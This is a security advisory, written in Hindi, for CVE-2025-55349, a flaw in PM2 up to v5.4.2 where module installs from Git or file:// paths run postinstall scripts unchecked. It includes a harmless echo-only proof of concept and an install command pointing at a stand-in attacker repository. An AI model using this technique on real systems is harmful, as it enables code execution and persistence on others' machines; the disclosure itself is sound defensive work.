
CVE-2025-55349 के लिए रेपो
postinstall के माध्यम से मनमाना कोड निष्पादनखोजकर्ता: Golden Ticket Labs
विक्रेता: Unitech (pm2)
नियत तिथि: August 20, 2025 (MITRE)
Unitech PM2 v5.4.2 के lib/API/Modules/NPM.js घटक में एक समस्या है जो कस्टम postinstall स्क्रिप्ट वाले पैकेजों को स्थापित करके मनमाना कोड निष्पादन की अनुमति देती है।
PM2 स्वचालित रूप से Git-आधारित या स्थानीय फ़ाइल इंस्टॉलेशन से postinstall लाइफसाइकिल स्क्रिप्ट चलाता है, बिना सैंडबॉक्सिंग या उपयोगकर्ता पुष्टि के, जिसमें निम्न के माध्यम से आह्वान भी शामिल है:
यह भेद्यता तब भी बनी रहती है जब मॉड्यूल टूटा हुआ या गैर-कार्यात्मक हो, और हमलावर कोड PM2 बूट मॉड्यूल के रूप में पंजीकृत होने पर सिस्टम रीबूट के बाद भी जीवित रह सकता है।
≤ 5.4.2 — असुरक्षित
6.0.5 — पैच किया गया — Git पार्सिंग तर्क हटा दिया गया (PR #5909), लेकिन फिक्स का दस्तावेजीकरण नहीं किया गया और चेंजलॉग में अनुपस्थित था।
एक हमलावर एक दुर्भावनापूर्ण Git रिपॉजिटरी तैयार कर सकता है जिसमें एक crafted postinstall स्क्रिप्ट वाला package.json हो। जब PM2 के माध्यम से स्थापित किया जाता है, तो स्क्रिप्ट स्वचालित रूप से निष्पादित होती है:
pm2 install https://github.com/attacker/malicious-module.git
स्थापना के समय हमलावर-नियंत्रित कोड का निष्पादन
PM2-प्रबंधित बूट मॉड्यूल के माध्यम से स्थिरता (persistence)
साझा या स्क्रिप्टेड इंस्टॉलेशन का उपयोग करने वाले वातावरण में संभावित पार्श्व गति (lateral movement)
PM2 मॉड्यूल स्थापना के दौरान Git रिपॉजिटरी को अंतर्निहित रूप से विश्वसनीय मानता है। postinstall जैसी लाइफसाइकिल स्क्रिप्ट बिना सैंडबॉक्सिंग, दृश्यता या पुष्टि के निष्पादित होती हैं।
यह रिमोट Git URL और स्थानीय file:// पथ दोनों को प्रभावित करता है, जिससे हमले की सतह काफी बढ़ जाती है। चूंकि PM2 मॉड्यूल अक्सर सिस्टम बूट पर शुरू होते हैं, इसलिए स्थिरता और एम्बेडेड अनधिकृत व्यवहार का जोखिम अधिक होता है।
PM2 v6.0.5 या नए संस्करण में अपग्रेड करें, जहां Git पार्सिंग तर्क हटा दिया गया था।
अविश्वसनीय Git स्रोतों से मॉड्यूल स्थापित करने से बचें।
⚠️ कोई हथियारबंद शोषण कोड प्रदान नहीं किया गया है। यह एक सुरक्षित प्रदर्शन है।
# Create a malicious repo
git init pm2-evil
cd pm2-evil
cat > package.json <<EOF
{
"name": "pm2-evil",
"version": "1.0.0",
"scripts": {
"postinstall": "echo 'pwned by CVE-2025-55349'"
}
}
EOF
git add package.json
git commit -m "Evil postinstall"
cd ..
# Trigger the install (on vulnerable pm2 v5.4.2)
pm2 install file://$PWD/pm2-evil
असुरक्षित संस्करणों पर, postinstall कमांड तुरंत निष्पादित होता है।
फिक्स कमिट (Git पार्सिंग तर्क को हटाना)
PM2 v6.0.5 रिलीज़
इस रिपॉजिटरी में सभी सामग्री केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रदान की गई है। कोई शोषण पेलोड शामिल नहीं है। बिना स्पष्ट प्राधिकरण के सिस्टम के खिलाफ इन तकनीकों का उपयोग न करें।
Golden Ticket Labs
📧 [email protected]
🌐 goldenticketlabs.com